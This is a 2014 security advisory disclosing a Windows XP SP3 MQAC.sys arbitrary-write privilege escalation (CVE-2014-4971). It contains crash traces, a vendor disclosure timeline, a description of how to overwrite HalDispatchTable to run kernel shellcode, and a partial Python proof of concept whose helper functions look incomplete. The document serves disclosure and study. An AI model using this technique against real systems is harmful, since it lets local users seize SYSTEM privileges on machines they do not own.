Microsoft Windows XP SP3 - 'MQAC.sys' Arbitrary Write Privilege Escalation











Title: Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation
Advisory ID: KL-001-2014-003
Publication Date: 2014.07.18
Publication URL:

1. Vulnerability Details

     Affected Vendor: Microsoft
     Affected Product: MQ Access Control
     Affected Versions:
     Platform: Microsoft Windows XP SP3
     CWE Classification: CWE-123: Write-what-where Condition
     Impact: Privilege Escalation
     Attack vector: IOCTL
     CVE ID: CVE-2014-4971

2. Vulnerability Description

     A vulnerability within the MQAC module allows an attacker to
     inject memory they control into an arbitrary location they
     define. This can be used by an attacker to overwrite
     HalDispatchTable+0x4 and execute arbitrary code by subsequently
     calling NtQueryIntervalProfile.

3. Technical Description

     A userland process can create a handle into the MQAC device and
     subsequently make DeviceIoControlFile() calls into that device.
     During the IRP handler routine for 0x1965020f the user provided
     OutputBuffer address is not validated. This allows an attacker
     to specify an arbitrary address and write (or overwrite) the
     memory residing at the specified address. This is classically
     known as a write-what-where vulnerability and has well known
     exploitation methods associated with it.

     A stack trace from our fuzzing can be seen below. In our
     fuzzing testcase, the specified OutputBuffer in the
     DeviceIoControlFile() call is 0xffff0000.

b1c4594c 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
b1c459ac 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7
b1c459ac b230af37 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
b1c45a68 b230c0a1 ffff0000 000000d3 0000000c mqac!AC2QM+0x5d
b1c45ab4 804ee129 81ebb558 82377e48 806d32d0 mqac!ACDeviceControl+0x16d
b1c45ac4 80574e56 82377eb8 82240510 82377e48 nt!IopfCallDriver+0x31
b1c45ad8 80575d11 81ebb558 82377e48 82240510 nt!IopSynchronousServiceTail+0x70
b1c45b80 8056e57c 000006a4 00000000 00000000 nt!IopXxxControlFile+0x5e7
b1c45bb4 b1aea17e 000006a4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a

     Reviewing the FOLLOWUP_IP value from the WinDBG '!analyze -v'
     command shows the fault originating in the mqac driver.

b230af37 891e            mov     dword ptr [esi],ebx

     Reviewing the TRAP_FRAME at the time of crash we can see
     IopCompleteRequest() copying data from InputBuffer into the
     OutputBuffer. InputBuffer is another parameter provided to the
     DeviceIoControlFile() function and is therefore controllable by
     the attacker. The edi register contains the invalid address
     provided during the fuzz testcase.

TRAP_FRAME:  b1c459c4 -- (.trap 0xffffffffb1c459c4)
ErrCode = 00000002
eax=b1c45a58 ebx=00000000 ecx=ffff0000 edx=82377e48 esi=ffff0000 edi=00000000
eip=b230af37 esp=b1c45a38 ebp=b1c45a68 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
b230af37 891e            mov     dword ptr [esi],ebx  ds:0023:ffff0000=????????

     A write-what-where vulnerability can be leveraged to obtain
     escalated privileges. To do so, an attacker will need to
     allocate memory in userland that is populated with shellcode
     designed to find the Token for PID 4 (System) and then overwrite
     the token for its own process. By leveraging the vulnerability
     in MQAC it is then possible to overwrite the pointer at
     HalDispatchTable+0x4 with a pointer to our shellcode. Calling
     NtQueryIntervalProfile() will subsequently call
     HalDispatchTable+0x4, execute our shellcode, and elevate the
     privilege of the exploit process.

4. Mitigation and Remediation Recommendation

     None. A patch is not likely to be forthcoming from the vendor.

5. Credit

     This vulnerability was discovered by Matt Bergin of KoreLogic
     Security, Inc.

6. Disclosure Timeline

   2014.04.28 - Initial contact; sent Microsoft report and PoC.
   2014.04.28 - Microsoft acknowledges receipt of vulnerability
                report; states XP is no longer supported and asks if
                the vulnerability affects other versions of Windows.
   2014.04.29 - KoreLogic asks Microsoft for clarification of their
                support policy for XP.
   2014.04.29 - Microsoft says XP-only vulnerabilities will not be
                addressed with patches.
   2014.04.29 - KoreLogic asks if Microsoft intends to address the
                vulnerability report.
   2014.04.29 - Microsoft opens case to investigate the impact of the
                vulnerability on non-XP systems.
   2014.05.06 - Microsoft asks again if this vulnerability affects
                non-XP systems.
   2014.05.14 - KoreLogic informs Microsoft that the vulnerability
                report is for XP and other Windows versions have
                not been examined.
   2014.06.11 - KoreLogic informs Microsoft that 30 business days
                have passed since vendor acknowledgement of the
                initial report. KoreLogic requests CVE number for the
                vulnerability, if there is one. KoreLogic also
                requests vendor's public identifier for the
                vulnerability along with the expected disclosure date.
   2014.06.11 - Microsoft responds to KoreLogic that the
                vulnerability does not affect an "up-platform"
                product. Says they are investigating embedded
                platforms. Does not provide a CVE number or a
                disclosure date.
   2014.06.30 - KoreLogic asks Microsoft for confirmation of their
                receipt of the updated PoC. Also requests that
                a CVE ID be issued to this vulnerability.
   2014.07.02 - 45 business days have elapsed since Microsoft
                acknowledged receipt of the vulnerability report and
   2014.07.07 - KoreLogic requests CVE from MITRE.
   2014.07.18 - MITRE deems this vulnerability (KL-001-2014-003) to
                be identical to KL-001-2014-002 and issues
                CVE-2014-4971 for both vulnerabilities.
   2014.07.18 - Public disclosure.

7. Proof of Concept

     # KL-001-2014-003 : Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation
     # Matt Bergin (KoreLogic / Smash the Stack)
     # CVE-2014-4971
     from ctypes import *
     from struct import pack
     from os import getpid,system
     from sys import exit
     EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
     GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle

     # thanks to offsec for the concept
     # I re-wrote the code as to not fully insult them :)
     def getBase(name=None):
        retArray = c_ulong*1024
        ImageBase = retArray()
        callback = c_int(1024)
        cbNeeded = c_long()
        for base in ImageBase:
                driverName = c_char_p("\x00"*1024)
                if (name):
                        if (driverName.value.lower() == name):
                                return base
                        return (base,driverName.value)
        return None

     handle = CreateFileA("\\\\.\\MQAC",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
     print "[+] Handle \\\\.\\MQAC @ %s" % (handle)
     buf = "\x50\x00\x00\x00"+"\x90"*0x400
     WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))
     WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0)))
     WriteProcessMemory(-1, 0x5000, "\xcc", 77, byref(c_int(0)))
     #Overwrite Pointer
     kBase,kVer = getBase()
     hKernel = LoadLibraryExA(kVer,0,1)
     HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
     HalDispatchTable -= hKernel
     HalDispatchTable += kBase
     HalDispatchTable += 0x4
     print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))
     print "[+] HalDispatchTable+0x4 overwritten"

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